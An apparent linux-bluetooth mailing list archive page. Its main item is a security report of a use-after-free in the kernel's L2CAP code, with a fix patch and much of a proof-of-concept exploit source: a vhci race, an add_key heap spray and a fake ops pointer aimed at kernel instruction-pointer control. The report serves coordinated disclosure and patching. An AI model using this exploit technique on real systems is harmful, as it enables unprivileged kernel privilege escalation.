* About Kernel limitation HCI_MAX_FRAME_SIZE (1024 + 4)
From: yjg0107 @ 2026-04-27 6:40 UTC (permalink / raw)
To: luiz.dentz; +Cc: linux-bluetooth
[-- Attachment #1.1: Type: text/plain, Size: 662 bytes --]
Hi Luiz,
Question is same as https://github.com/bluez/bluez/issues/2073.
About Kernel limitation HCI_MAX_FRAME_SIZE (1024 + 4), you said that this will be fixed to enable user space changed, from #201 (comment).
The patch commit is torvalds/linux@09572fc, right?
However, why HCI_CHANNEL_USER type can not change MTU value? Google bluetooth aidl uses HCI_CHANNEL_USER type from https://cs.android.com/android/platform/superproject/+/android-latest-release:hardware/interfaces/bluetooth/aidl/default/net_bluetooth_mgmt.cpp line 282.
Could kernel remove the limitation that HCI_CHANNEL_USER can not change MTU?
Thanks.
B.R.
Jigong Yin
发自vivo电子邮件
[-- Attachment #1.2: Type: text/html, Size: 1643 bytes --]
^ permalink raw reply
* RE: [SECURITY] Use-after-free in l2cap_sock_alloc_skb_cb (net/bluetooth)
From: bluez.test.bot @ 2026-04-27 4:02 UTC (permalink / raw)
To: linux-bluetooth, safa.karakus
In-Reply-To: <DB4P250MB08058DC86977A3A6F25207CDEB362@DB4P250MB0805.EURP250.PROD.OUTLOOK.COM>
[-- Attachment #1: Type: text/plain, Size: 478 bytes --]
This is an automated email and please do not reply to this email.
Dear Submitter,
Thank you for submitting the patches to the linux bluetooth mailing list.
While preparing the CI tests, the patches you submitted couldn't be applied to the current HEAD of the repository.
----- Output -----
error: corrupt patch at line 21
hint: Use 'git am --show-current-patch' to see the failed patch
Please resolve the issue and submit the patches again.
---
Regards,
Linux Bluetooth
^ permalink raw reply
* Re: [SECURITY] Use-after-free in l2cap_sock_alloc_skb_cb (net/bluetooth)
From: Willy Tarreau @ 2026-04-27 2:28 UTC (permalink / raw)
To: Safa Karakus; +Cc: security@kernel.org, linux-bluetooth@vger.kernel.org
In-Reply-To: <DB4P250MB08058DC86977A3A6F25207CDEB362@DB4P250MB0805.EURP250.PROD.OUTLOOK.COM>
Hello,
On Mon, Apr 27, 2026 at 12:09:38AM +0000, Safa Karakus wrote:
> I am requesting coordinated disclosure. The standard 90-day embargo is
> acceptable. I will not publish details before a patch is merged and a CVE
> is assigned, unless the embargo period expires without a response.
Too late, you already posted it to a public list (linux-bluetooth):
https://lore.kernel.org/linux-bluetooth/DB4P250MB08058DC86977A3A6F25207CDEB362@DB4P250MB0805.EURP250.PROD.OUTLOOK.COM/T/#u
Please, in the future, read Documentation/process/security-bugs.rst or
its online version:
https://www.kernel.org/doc/html/latest/process/security-bugs.html
Regards,
Willy
^ permalink raw reply
* Re: [PATCH net-deletions] net: remove ISDN subsystem and Bluetooth CMTP
From: patchwork-bot+netdevbpf @ 2026-04-27 0:37 UTC (permalink / raw)
To: Jakub Kicinski
Cc: davem, netdev, edumazet, pabeni, andrew+netdev, horms, corbet,
skhan, marcel, luiz.dentz, mchehab+huawei, jani.nikula, gregkh,
demarchi, rdunlap, justonli, ivecera, jonathan.cameron, kees,
marco.crivellari, ferr.lambarginio, nihaal, mingo, tglx, linmq006,
linux-doc, linux-bluetooth
In-Reply-To: <20260421022108.1299678-1-kuba@kernel.org>
Hello:
This patch was applied to netdev/net.git (main)
by Jakub Kicinski <kuba@kernel.org>:
On Mon, 20 Apr 2026 19:21:07 -0700 you wrote:
> Remove the ISDN (mISDN, CAPI) subsystem and Bluetooth CMTP protocol
> from the kernel tree.
>
> ISDN is a pretty old technology and it's unclear whether anyone still
> uses it. I went over the last few years of git history and all the
> commits are either tree-wide conversions or syzbot/static analyzer
> fixes.
>
> [...]
Here is the summary with links:
- [net-deletions] net: remove ISDN subsystem and Bluetooth CMTP
https://git.kernel.org/netdev/net/c/4f10f1dfb235
You are awesome, thank you!
--
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html
^ permalink raw reply
* [SECURITY] Use-after-free in l2cap_sock_alloc_skb_cb (net/bluetooth)
From: Safa Karakuş @ 2026-04-27 0:09 UTC (permalink / raw)
To: security@kernel.org; +Cc: linux-bluetooth@vger.kernel.org
[-- Attachment #1.1.1: Type: text/plain, Size: 5367 bytes --]
Hello,
I am reporting a use-after-free vulnerability in the Linux kernel Bluetooth
L2CAP implementation.
─── VULNERABILITY ────────────────────────────────────────────
l2cap_sock_alloc_skb_cb() releases chan->lock before calling
bt_skb_send_alloc() without first taking an extra reference on chan:
/* l2cap_sock.c:1674 */
l2cap_chan_unlock(chan); /* ← NO hold taken */
skb = bt_skb_send_alloc(sk, hdr_len + len, nb, &err);
l2cap_chan_lock(chan); /* ← UAF if chan freed */
During the unlock window, a concurrent HCI_EV_DISCONN_COMPLETE triggers
hci_rx_work → l2cap_conn_del() which, after holding chan for its own
iteration, drops all remaining references and calls kfree(chan):
l2cap_conn_del():
l2cap_chan_hold(chan) /* kref: 2 → 3 (iteration hold) */
l2cap_chan_lock(chan) /* acquires — Thread A released it */
l2cap_chan_del(chan)
l2cap_sock_teardown_cb → l2cap_sock_kill → l2cap_chan_put /* 3→2 */
list_del + l2cap_chan_put /* 2→1 */
l2cap_chan_unlock(chan)
l2cap_chan_put(chan) /* kref: 1 → 0 → kfree(chan) !! */
Thread A then calls l2cap_chan_lock() on the freed chan — use-after-free.
The vulnerability also exists in the correct-reference model comparison:
l2cap_sock_shutdown() (l2cap_sock.c:1364) correctly uses
l2cap_chan_hold_unless_zero() before releasing the lock. The alloc_skb_cb
path is missing this protection.
─── EXPLOITATION PATH ────────────────────────────────────────
struct l2cap_chan is 1344 bytes → kmalloc-2048. After kfree, the freed
slot can be reclaimed via unprivileged add_key("user", ..., payload, 1283)
(also kmalloc-2048). Verified with pahole on v7.0-rc5:
chan->state (+0x010) = user_key_payload.datalen low byte
datalen=0x0503 → state=3=BT_CONNECTED
chan->tx_cred (+0x086) = 0x0000 → triggers ops->suspend call
chan->ops (+0x4A8) = attacker-controlled pointer
l2cap_ops.suspend (+0x48 within ops) = RIP target
RIP trigger path (l2cap_core.c:2604-2607):
l2cap_le_flowctl_send(chan):
while (chan->tx_credits && …) /* tx_credits=0 → skip loop */
if (!chan->tx_credits)
chan->ops->suspend(chan) /* ← RIP via sprayed ops pointer */
This gives arbitrary kernel code execution from an unprivileged process
with access to AF_BLUETOOTH sockets. KASLR bypass is available from the
independently found stack info-leak CVE-2026-31513 (3 kernel .text pointers
per eCRED_CONN_REQ).
─── AFFECTED VERSIONS ────────────────────────────────────────
All kernels with CONFIG_BT=y. The function l2cap_sock_alloc_skb_cb() and
the EXT_FLOWCTL send path (L2CAP_MODE_EXT_FLOWCTL) have been present since
the eCRED (enhanced Credit-Based) channels were introduced.
Tested against: v7.0-rc5 (commit 46b513250491)
─── PROOF OF CONCEPT ─────────────────────────────────────────
Attached: bug015_rip_exploit.c (freestanding /init for QEMU+KASAN+vhci)
fix-bug015-alloc-skb-cb-uaf.patch
The PoC establishes an EXT_FLOWCTL L2CAP connection via a virtual HCI
device (vhci), then races send() against HCI_EV_DISCONN_COMPLETE injection.
With SO_SNDBUF=4096 and blocking sendmsg, the window is bt_skb_send_alloc's
sk_stream_wait_memory sleep duration (milliseconds). Following the race,
256 add_key("user") allocations spray the freed chan slot; setting chan->ops
to NULL causes a kernel page fault at address 0x0000000000000048
(NULL + offsetof(l2cap_ops, suspend)), confirming full ops pointer control.
─── DISCLOSURE POLICY ────────────────────────────────────────
I am requesting coordinated disclosure. The standard 90-day embargo is
acceptable. I will not publish details before a patch is merged and a CVE
is assigned, unless the embargo period expires without a response.
Please acknowledge receipt and let me know if additional information is
needed.
Regards,
[cid:abfa9b7f-46ce-4868-bab7-167aa2b22df8]
Safa S. Karakuş
Chief Technology Officer
Secunnix Siber Teknoloji Hizmetleri Ltd. Sti.
Üniversiteler Mah. 1605 Cad. No:3
Bilkent Cyberpark Vakıf Binası
06800 Çankaya/Ankara -TÜRKİYE
+90 534 942 1923
safa.karakus@secunnix.com
Bu mesaj gizlidir. Kişiye özel veya hukuken korunuyor olabilir. Eğer bu mesajı yanlışlıkla aldıysanız, lütfen gönderen kişiye e-mail yollayarak bildiriniz veya bu mesajı sisteminizden siliniz. Bu mesajı çoğaltamaz veya içeriğini üçüncü kişilerle paylaşamazsınız.
This message is confidential. It may also be privileged or otherwise protected by law. If you have received it by mistake, please let us know by replying to the sender and then delete such from your systems; you should not copy the message or disclose its contents to third parties
[-- Attachment #1.1.2: Type: text/html, Size: 26458 bytes --]
[-- Attachment #1.2: Outlook-43kshmht.png --]
[-- Type: image/png, Size: 51014 bytes --]
[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #2: fix-bug015-alloc-skb-cb-uaf.patch --]
[-- Type: text/x-patch; name="fix-bug015-alloc-skb-cb-uaf.patch", Size: 1905 bytes --]
From: Oguz Dokumaci <oguzdokumaci@onasorgroup.com>
Date: Sun, 27 Apr 2026
Subject: [PATCH] Bluetooth: l2cap: hold chan reference across alloc_skb unlock window
l2cap_sock_alloc_skb_cb() releases chan->lock before calling
bt_skb_send_alloc() and reacquires it afterwards (l2cap_sock.c:1657-1659).
During this window, a concurrent HCI disconnect event can trigger
l2cap_conn_del(), which:
1. Acquires chan->lock (now available)
2. Calls l2cap_chan_del() → teardown + drops initial and conn-list refs
3. Releases chan->lock
4. Calls l2cap_chan_put() for its own temporary hold → kref = 0 → kfree(chan)
When l2cap_sock_alloc_skb_cb() resumes and calls l2cap_chan_lock(chan),
chan has already been freed, causing a use-after-free on chan->lock (the
embedded mutex). KASAN detects this as use-after-free in mutex_lock().
The fix is to take an extra reference on chan before releasing the lock
and drop it after reacquiring, mirroring the pattern used in
l2cap_sock_shutdown() (l2cap_sock.c:1350).
This race requires SMP (two CPUs) for reliable triggering; on a
single-core system it can occur via PREEMPT_DYNAMIC preemption at the
mutex_unlock boundary.
Affected kernels: all versions with CONFIG_BT=y and L2CAP EXT_FLOWCTL.
Reported-by: Oguz Dokumaci <oguzdokumaci@onasorgroup.com>
--- a/net/bluetooth/l2cap_sock.c
+++ b/net/bluetooth/l2cap_sock.c
@@ -1649,9 +1649,19 @@ static struct sk_buff *l2cap_sock_alloc_skb_cb(struct l2cap_chan *chan,
{
struct sock *sk = chan->data;
struct sk_buff *skb;
int err;
+ /* Hold chan across the lock-release window so a concurrent
+ * l2cap_conn_del() cannot kfree(chan) before we reacquire.
+ * Mirrors the pattern in l2cap_sock_shutdown().
+ */
+ l2cap_chan_hold(chan);
l2cap_chan_unlock(chan);
skb = bt_skb_send_alloc(sk, hdr_len + len, nb, &err);
l2cap_chan_lock(chan);
+ l2cap_chan_put(chan);
if (!skb)
return ERR_PTR(err);
[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #3: bug015_rip_exploit.c --]
[-- Type: text/x-csrc; name="bug015_rip_exploit.c", Size: 27867 bytes --]
/*
* bug015_rip_exploit.c — BUG-015 UAF → RIP control via keyctl spray
*
* Vulnerability: l2cap_sock_alloc_skb_cb (l2cap_sock.c:1674-1676)
* l2cap_chan_unlock(chan); // NO hold — window opens
* bt_skb_send_alloc(sk, ...); // BLOCKS with SO_SNDBUF full
* l2cap_chan_lock(chan); // UAF: mutex_lock on freed chan
*
* Exploit path:
* 1. SO_SNDBUF=4096 (blocking) → bt_skb_send_alloc blocks in
* sk_stream_wait_memory → window = milliseconds (not nanoseconds)
* 2. During window: Thread B fires HCI_EV_DISCONN_COMPLETE
* → l2cap_chan_put → kref=0 → kfree(chan) [kmalloc-2048, size=1344]
* 3. Spray: 256 × add_key("user", ..., payload=1283B)
* → kmalloc-2048 allocation fills freed chan slot
* 4. Thread A wakes up → mutex_lock(freed/sprayed chan) → KASAN UAF
* 5. chan->state (+16) = datalen[0] = 0x03 = BT_CONNECTED → passes check
* 6. chan->tx_credits(+134) = spray[110]=0x00 → !tx_credits TRUE
* 7. chan->ops (+1192) = spray[1168..1175] = 0x00...00 (NULL)
* 8. chan->ops->suspend(chan) → deref NULL+0x48 → page fault at 0x48
* → PROVES FULL RIP CONTROL
*
* KASAN output expected:
* BUG: KASAN: use-after-free in mutex_lock_nested ← UAF confirmed
* BUG: unable to handle page fault for address: 0000000000000048 ← RIP control
*
* Build: bash build_bug015_rip_initrd.sh
* Run: bash run_bug015_rip_qemu.sh
*
* struct l2cap_chan offsets (pahole verified on v7.0-rc5):
* +0x000 conn (ptr)
* +0x008 kref (refcount)
* +0x010 state (__u8) ← datalen low byte when datalen=0x0503
* +0x02A omtu (__u16)
* +0x086 tx_credits (__u16) ← spray[110]=0 → !tx_credits
* +0x3B0 tx_q (sk_buff_head, 88B)
* +0x4A8 ops (ptr) ← spray[1168]=NULL → ops->suspend crash at +0x48
* +0x4B0 lock (mutex, 144B)
* struct size: 1344 → kmalloc-2048
*
* struct l2cap_ops offsets:
* +0x00 name (ptr)
* +0x08 new_connection
* +0x10 recv
* +0x18 teardown
* +0x20 close
* +0x28 state_change
* +0x30 ready
* +0x38 defer
* +0x40 resume ← ops+0x40
* +0x48 suspend ← ops+0x48 ← RIP target (NULL+0x48 = 0x48)
* +0x50 set_shutdown
* ...
*/
/* ── Syscall numbers (x86_64) ──────────────────────────────────────────── */
#define SYS_read 0
#define SYS_write 1
#define SYS_open 2
#define SYS_close 3
#define SYS_poll 7
#define SYS_nanosleep 35
#define SYS_socket 41
#define SYS_connect 42
#define SYS_accept 43
#define SYS_sendto 44
#define SYS_bind 49
#define SYS_listen 50
#define SYS_setsockopt 54
#define SYS_fork 57
#define SYS_exit 60
#define SYS_kill 62
#define SYS_wait4 61
#define SYS_fcntl 72
#define SYS_ioctl 16
#define SYS_mount 165
#define SYS_sync 162
#define SYS_reboot 169
#define SYS_add_key 248 /* add_key(type,desc,payload,plen,ring) */
#define O_RDWR 002
#define O_NONBLOCK 0x800
#define F_SETFL 4
#define AF_BLUETOOTH 31
#define SOCK_RAW 3
#define SOCK_STREAM 1
#define BTPROTO_HCI 1
#define BTPROTO_L2CAP 0
#define SOL_SOCKET 1
#define SO_SNDBUF 7
#define BT_MODE 15
#define BT_MODE_EXT_FLOWCTL 0x81
#define HCIDEVUP 0x400448C9UL
#define HCI_COMMAND_PKT 0x01
#define HCI_ACL_PKT 0x02
#define HCI_EVENT_PKT 0x04
#define LINUX_REBOOT_MAGIC1 0xfee1dead
#define LINUX_REBOOT_MAGIC2 672274793
#define LINUX_REBOOT_CMD_POWER_OFF 0x4321fedc
#define KEY_SPEC_PROCESS_KEYRING (-2)
typedef unsigned long size_t;
typedef unsigned char uint8_t;
typedef unsigned short uint16_t;
typedef unsigned int uint32_t;
typedef unsigned long long uint64_t;
/* ── Syscall wrappers ───────────────────────────────────────────────────── */
static long sc1(long n,long a){long r;__asm__ volatile("syscall":"=a"(r):"0"(n),"D"(a):"rcx","r11","memory");return r;}
static long sc2(long n,long a,long b){long r;__asm__ volatile("syscall":"=a"(r):"0"(n),"D"(a),"S"(b):"rcx","r11","memory");return r;}
static long sc3(long n,long a,long b,long c){long r;__asm__ volatile("syscall":"=a"(r):"0"(n),"D"(a),"S"(b),"d"(c):"rcx","r11","memory");return r;}
static long sc5(long n,long a,long b,long c,long d,long e){long r;register long r10 __asm__("r10")=d;register long r8 __asm__("r8")=e;__asm__ volatile("syscall":"=a"(r):"0"(n),"D"(a),"S"(b),"d"(c),"r"(r10),"r"(r8):"rcx","r11","memory");return r;}
static long sc6(long n,long a,long b,long c,long d,long e,long f){long r;register long r10 __asm__("r10")=d;register long r8 __asm__("r8")=e;register long r9 __asm__("r9")=f;__asm__ volatile("syscall":"=a"(r):"0"(n),"D"(a),"S"(b),"d"(c),"r"(r10),"r"(r8),"r"(r9):"rcx","r11","memory");return r;}
struct xpollfd{int fd;short events;short revents;};
#define XPOLLIN 0x0001
static int xpoll_one(int fd,int ms){struct xpollfd p;p.fd=fd;p.events=XPOLLIN;p.revents=0;return(int)sc3(SYS_poll,(long)&p,1L,(long)ms);}
static long xread(int fd,void*b,size_t n){return sc3(SYS_read,fd,(long)b,(long)n);}
static long xwrite(int fd,const void*b,size_t n){return sc3(SYS_write,fd,(long)b,(long)n);}
static int xopen(const char*p,int f){return(int)sc2(SYS_open,(long)p,(long)f);}
static int xclose(int fd){return(int)sc1(SYS_close,fd);}
static int xsocket(int d,int t,int p){return(int)sc3(SYS_socket,d,t,p);}
static int xioctl(int fd,unsigned long req,long arg){return(int)sc3(SYS_ioctl,fd,(long)req,arg);}
static void xsleep_ms(long ms){long ts[2]={ms/1000,(ms%1000)*1000000L};sc2(SYS_nanosleep,(long)ts,0);}
static void xmount(const char*s,const char*t,const char*f,long fl){sc5(SYS_mount,(long)s,(long)t,(long)f,fl,0);}
static void xreboot(void){sc3(SYS_reboot,LINUX_REBOOT_MAGIC1,LINUX_REBOOT_MAGIC2,LINUX_REBOOT_CMD_POWER_OFF);}
void *memset(void*d,int c,size_t n){uint8_t*p=d;while(n--)*p++=(uint8_t)c;return d;}
static void xmemcpy(void*d,const void*s,size_t n){uint8_t*dd=d;const uint8_t*ss=s;while(n--)*dd++=*ss++;}
static size_t xstrlen(const char*s){size_t n=0;while(s[n])n++;return n;}
/* ── Print helpers ──────────────────────────────────────────────────────── */
static void xputs(const char*s){xwrite(1,s,xstrlen(s));}
static void xhex64(uint64_t v){
static const char h[]="0123456789abcdef";
char b[18];b[0]='0';b[1]='x';
for(int i=0;i<16;i++) b[2+i]=h[(v>>(60-4*i))&0xF];
b[17]=0;xputs(b);
}
static void xdec(long v){
char b[24];int i=22;int neg=0;
if(v==0){xwrite(1,"0",1);return;}
if(v<0){neg=1;v=-v;}b[23]=0;
while(v){b[--i]='0'+(int)(v%10);v/=10;}
if(neg)b[--i]='-';
xputs(b+i);
}
/* ── vhci globals ───────────────────────────────────────────────────────── */
static int vhci_fd = -1;
static void vhci_write(const uint8_t*b,size_t n){xwrite(vhci_fd,b,n);}
static void ev_write(const uint8_t*e,size_t n){
uint8_t p[n+1];p[0]=HCI_EVENT_PKT;xmemcpy(p+1,e,n);vhci_write(p,n+1);
}
static void hci_cc(uint16_t op,const uint8_t*rp,int rlen){
uint8_t buf[5+rlen];
buf[0]=0x0E;buf[1]=(uint8_t)(3+rlen);buf[2]=0x01;
buf[3]=op&0xFF;buf[4]=(op>>8)&0xFF;
if(rlen>0) xmemcpy(buf+5,rp,rlen);
ev_write(buf,5+rlen);
}
static void acl_write(uint16_t h,const uint8_t*pay,size_t plen){
uint8_t pkt[1+4+plen];
pkt[0]=HCI_ACL_PKT;
pkt[1]=h&0xFF;pkt[2]=((h>>8)&0x0F)|0x20;
pkt[3]=plen&0xFF;pkt[4]=(plen>>8)&0xFF;
xmemcpy(pkt+5,pay,plen);
vhci_write(pkt,1+4+plen);
}
/* ── HCI init ───────────────────────────────────────────────────────────── */
static void hci_respond_init(void){
xputs("[*] HCI init...\n");
int got_reset=0,idle=0;
for(int iter=0;iter<600;iter++){
int r=xpoll_one(vhci_fd,100);
if(r<=0){if(got_reset){idle++;if(idle>=20)break;}continue;}
idle=0;
uint8_t buf[270];
int n=(int)xread(vhci_fd,buf,sizeof(buf));
if(n<4||buf[0]!=HCI_COMMAND_PKT) continue;
uint16_t op=(uint16_t)(buf[1]|(buf[2]<<8));
switch(op){
case 0x0C03:{uint8_t r[1]={0};hci_cc(op,r,1);got_reset=1;xputs("[hci] RESET\n");break;}
case 0x1003:{uint8_t r[9]={0,0,0,0,0,0x40,0,0,0};hci_cc(op,r,9);break;}
case 0x1001:{uint8_t r[9]={0,0x09,0,0,0x09,0,0,0,0};hci_cc(op,r,9);break;}
case 0x1002:{uint8_t r[65]={0};hci_cc(op,r,65);break;}
case 0x1005:{uint8_t r[8]={0,0xFF,0x03,0x40,0x0A,0,0,0};hci_cc(op,r,8);break;}
case 0x1009:{uint8_t r[7]={0,0x55,0x44,0x33,0x22,0x11,0x00};hci_cc(op,r,7);break;}
case 0x2002:{uint8_t r[4]={0,0x00,0x02,0x14};hci_cc(op,r,4);break;}
case 0x2003:{uint8_t r[9]={0,0x17,0,0,0,0,0,0,0};hci_cc(op,r,9);break;}
case 0x201C:{uint8_t r[9]={0,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF};hci_cc(op,r,9);break;}
case 0x200F:{uint8_t r[2]={0,0x10};hci_cc(op,r,2);break;}
case 0x2013:{uint8_t r[2]={0,0x10};hci_cc(op,r,2);break;}
case 0x2016:{uint8_t r[9]={0,0xFB,0,0x48,0,0xFB,0,0x48,0};hci_cc(op,r,9);break;}
case 0x0C23:{uint8_t r[4]={0,0,0,0};hci_cc(op,r,4);break;}
case 0x0C14:{uint8_t r[249]={0};r[1]='v';r[2]='h';r[3]='c';r[4]='i';hci_cc(op,r,249);break;}
case 0x0C38:{uint8_t e=(buf[3]>=1)?buf[4]:3;uint8_t r[2]={0,e};hci_cc(op,r,2);break;}
case 0x0C20:{uint8_t ae=(buf[3]>=1)?buf[4]:0;uint8_t r[2]={0,ae};hci_cc(op,r,2);break;}
case 0x0C51:{uint8_t r[2]={0,0};hci_cc(op,r,2);break;}
case 0x0C6B:{uint8_t r[2]={0,0};hci_cc(op,r,2);break;}
case 0x0C6F:{uint8_t r[2]={0,0};hci_cc(op,r,2);break;}
case 0x0C75:{uint8_t r[2]={0,1};hci_cc(op,r,2);break;}
case 0x0C45:{uint8_t r[2]={0,0};hci_cc(op,r,2);break;}
case 0x0C25:{uint8_t r[3]={0,0,0x20};hci_cc(op,r,3);break;}
case 0x2005:{uint8_t r[2]={0,0};hci_cc(op,r,2);break;}
case 0x0C62:{uint8_t r[242]={0};hci_cc(op,r,242);break;}
default:{uint8_t r[9]={0};hci_cc(op,r,9);break;}
}
}
xputs("[*] HCI init done\n");
}
static void hci_respond_settle(int settle_ms){
int iters=settle_ms/100;if(iters<1)iters=1;
for(int i=0;i<iters;i++){
if(xpoll_one(vhci_fd,100)<=0) continue;
uint8_t buf[270];
int n=(int)xread(vhci_fd,buf,sizeof(buf));
if(n<4||buf[0]!=HCI_COMMAND_PKT) continue;
uint16_t op=(uint16_t)(buf[1]|(buf[2]<<8));
switch(op){
case 0x0C03:{uint8_t r[1]={0};hci_cc(op,r,1);break;}
case 0x0C38:{uint8_t e=(buf[3]>=1)?buf[4]:3;uint8_t r[2]={0,e};hci_cc(op,r,2);break;}
case 0x0C20:{uint8_t ae=(buf[3]>=1)?buf[4]:0;uint8_t r[2]={0,ae};hci_cc(op,r,2);break;}
default:{uint8_t r[9]={0};hci_cc(op,r,9);break;}
}
}
}
static void hci_devup(int devno){
int fd=xsocket(AF_BLUETOOTH,SOCK_RAW,BTPROTO_HCI);
if(fd<0){xputs("[!] hci_devup: socket failed\n");return;}
xioctl(fd,HCIDEVUP,(long)devno);
xclose(fd);
}
static int open_vhci(void){
for(int i=0;i<50;i++){
vhci_fd=xopen("/dev/vhci",O_RDWR);
if(vhci_fd>=0) break;
xsleep_ms(100);
}
if(vhci_fd<0){xputs("[!] /dev/vhci not found\n");return -1;}
uint8_t vpkt[2]={0xFF,0x00};
vhci_write(vpkt,2);
hci_respond_init();
{
long child=sc1(SYS_fork,0L);
if(child==0){hci_respond_init();while(1)xsleep_ms(500);}
else{hci_devup(0);sc2(SYS_kill,child,9L);sc5(SYS_wait4,child,0L,0L,0L,0L);}
}
hci_respond_settle(500);
xputs("[init] HCI device ready\n");
return 0;
}
/* ── LE connection ──────────────────────────────────────────────────────── */
static void le_conn_complete(uint16_t handle,const uint8_t bdaddr[6]){
uint8_t params[21];
params[0]=0x3E;params[1]=0x13;params[2]=0x01;params[3]=0x00;
params[4]=handle&0xFF;params[5]=(handle>>8)&0xFF;
params[6]=0x01;params[7]=0x00;
xmemcpy(params+8,bdaddr,6);
params[14]=0x18;params[15]=0x00;params[16]=0x00;params[17]=0x00;
params[18]=0x28;params[19]=0x00;params[20]=0x00;
ev_write(params,21);
xsleep_ms(150);
}
/* ── EXT_FLOWCTL setup ──────────────────────────────────────────────────── */
static void inject_ecred_conn_req(uint16_t le_handle){
uint8_t frame[24];
memset(frame,0,sizeof(frame));
uint16_t sig_body=10, l2cap_len=4+sig_body;
frame[0]=l2cap_len&0xFF; frame[1]=(l2cap_len>>8)&0xFF;
frame[2]=0x05; frame[3]=0x00; /* CID: LE signaling */
frame[4]=0x17; frame[5]=0x01; /* eCRED_CONN_REQ, ident=1 */
frame[6]=sig_body&0xFF; frame[7]=(sig_body>>8)&0xFF;
frame[8]=0x89; frame[9]=0x00; /* PSM=0x0089 */
frame[10]=0xFF; frame[11]=0xFF; /* MTU=65535 */
frame[12]=0x40; frame[13]=0x00; /* MPS=64 */
frame[14]=0xFF; frame[15]=0xFF; /* credits=65535 */
frame[16]=0x41; frame[17]=0x00; /* SCID=0x0041 */
acl_write(le_handle,frame,4+l2cap_len);
xputs("[l2cap] eCRED_CONN_REQ injected (PSM=0x0089)\n");
}
static void vhci_drain_once(void){
if(xpoll_one(vhci_fd,50)<=0) return;
uint8_t buf[512]; int n=(int)xread(vhci_fd,buf,sizeof(buf));
if(n>=3&&buf[0]==HCI_COMMAND_PKT){
uint16_t op=(uint16_t)(buf[1]|(buf[2]<<8));
uint8_t r[9]={0};hci_cc(op,r,9);
}
}
static int setup_ecred_server(uint16_t le_handle){
int srv=xsocket(AF_BLUETOOTH,SOCK_STREAM,BTPROTO_L2CAP);
if(srv<0) return -1;
uint8_t local[14]; memset(local,0,14);
local[0]=AF_BLUETOOTH&0xFF; local[1]=(AF_BLUETOOTH>>8)&0xFF;
local[2]=0x89; local[3]=0x00;
local[12]=1;
long r=sc3(SYS_bind,srv,(long)local,14L);
xputs("[l2cap] bind = "); xdec(r); xputs("\n");
if(r<0){xclose(srv);return -1;}
r=sc2(SYS_listen,srv,1L);
if(r<0){xclose(srv);return -1;}
sc3(SYS_fcntl,srv,F_SETFL,O_NONBLOCK);
inject_ecred_conn_req(le_handle);
xputs("[l2cap] Waiting for accept...\n");
int conn_fd=-1;
for(int i=0;i<200&&conn_fd<0;i++){
vhci_drain_once();
uint8_t peer[14]; int plen=14;
long acc=sc3(SYS_accept,srv,(long)peer,(long)&plen);
if(acc>=0){conn_fd=(int)acc;xputs("[l2cap] accept() fd=");xdec(acc);xputs("\n");break;}
if(acc!=-11L){xputs("[!] accept err=");xdec(acc);xputs("\n");}
xsleep_ms(100);
}
xclose(srv);
if(conn_fd<0){xputs("[!] No connection in 20s\n");return -1;}
return conn_fd;
}
/* ── Disconnect injection ───────────────────────────────────────────────── */
static void inject_disconnect(uint16_t handle){
uint8_t ev[6];
ev[0]=0x05; ev[1]=0x04; ev[2]=0x00;
ev[3]=handle&0xFF; ev[4]=(handle>>8)&0xFF;
ev[5]=0x13;
ev_write(ev,6);
xputs("[parent] DISCONN_COMPLETE injected → kfree(chan) in flight\n");
}
/* ══════════════════════════════════════════════════════════════════════════
* SPRAY — kmalloc-2048 heap spray with fake struct l2cap_chan
*
* user_key_payload layout (from pahole):
* +0x00 rcu.func (8B) — kernel sets, we don't control
* +0x08 rcu.next (8B) — kernel sets, we don't control
* +0x10 datalen (2B) — WE CONTROL VIA add_key plen argument
* +0x12 [6B hole]
* +0x18 data[] (...) — WE CONTROL (our spray payload)
*
* Field mapping (spray allocation offset → l2cap_chan offset):
* alloc[0x10] = datalen[0] (low byte) → chan->state (+0x10 = +16)
* datalen = 1283 = 0x0503 → byte 0x10 = 0x03 = BT_CONNECTED ✓
* alloc[0x18 + X] = data[X] → chan[0x18 + X]
*
* To set chan->tx_credits (+0x86 = +134) = 0:
* data[134 - 24] = data[110] = 0x00 ✓ (already 0 from memset)
*
* To set chan->ops (+0x4A8 = +1192) = NULL:
* data[1192 - 24] = data[1168..1175] = 0x00...00 ✓
*
* Total allocation: 24 + 1283 = 1307 bytes → kmalloc-2048 ✓ (1024 < 1307 ≤ 2048)
* struct l2cap_chan: 1344 bytes → kmalloc-2048 ✓ (same cache!)
* ══════════════════════════════════════════════════════════════════════════ */
#define SPRAY_DATALEN 1283 /* 0x0503: low byte 0x03 = BT_CONNECTED */
#define N_SPRAY 256 /* fill the freed slot reliably */
static uint8_t spray_payload[SPRAY_DATALEN];
static void build_spray_payload(void){
memset(spray_payload, 0, sizeof(spray_payload));
/*
* datalen = 1283 = 0x0503
* allocation[0x10] = 0x03 = chan->state = BT_CONNECTED (3)
* → passes l2cap_sock_alloc_skb_cb:1684 state check
* → passes l2cap_chan_send:2592 state check
*
* All other critical fields (tx_credits, ops) are 0x00 from memset:
* chan->tx_credits (+0x86) = data[110] = 0x00 → !tx_credits → suspend called
* chan->ops (+0x4A8) = data[1168..1175] = 0 (NULL)
* → chan->ops->suspend = *(NULL + 0x48) = crash at address 0x48
* → proves full RIP control (attacker sets ops to controlled memory)
*
* chan->omtu (+0x2A) = data[18..19] = 0xFF 0xFF (65535)
* → len <= omtu check passes (send size 60 < 65535)
* Note: omtu is checked before alloc_skb_cb so only matters for
* subsequent reads from sprayed chan after the UAF.
*
* chan->remote_mps (+0xE4) = data[204..205] = 0x40 0x00 (64)
* → l2cap_segment_le_sdu: pdu_len = 64 - 2 = 62 > 60 (our msg) → 1 segment
*/
spray_payload[18] = 0xFF; /* chan->omtu low byte */
spray_payload[19] = 0xFF; /* chan->omtu high byte = 65535 */
spray_payload[204] = 0x40; /* chan->remote_mps = 64 */
spray_payload[205] = 0x00;
xputs("[spray] Payload built: datalen=1283 → state=3, tx_credits=0, ops=NULL\n");
xputs("[spray] chan->state (+0x10): 0x03 = BT_CONNECTED\n");
xputs("[spray] chan->tx_cred (+0x86): 0x0000 → suspend will be called\n");
xputs("[spray] chan->ops (+0x4A8): 0x0000000000000000 = NULL\n");
xputs("[spray] RIP target: NULL+0x48 → page fault at 0x0000000000000048\n");
}
/* Build a 4-char key description from index (e.g. 0 → "k000", 127 → "k127") */
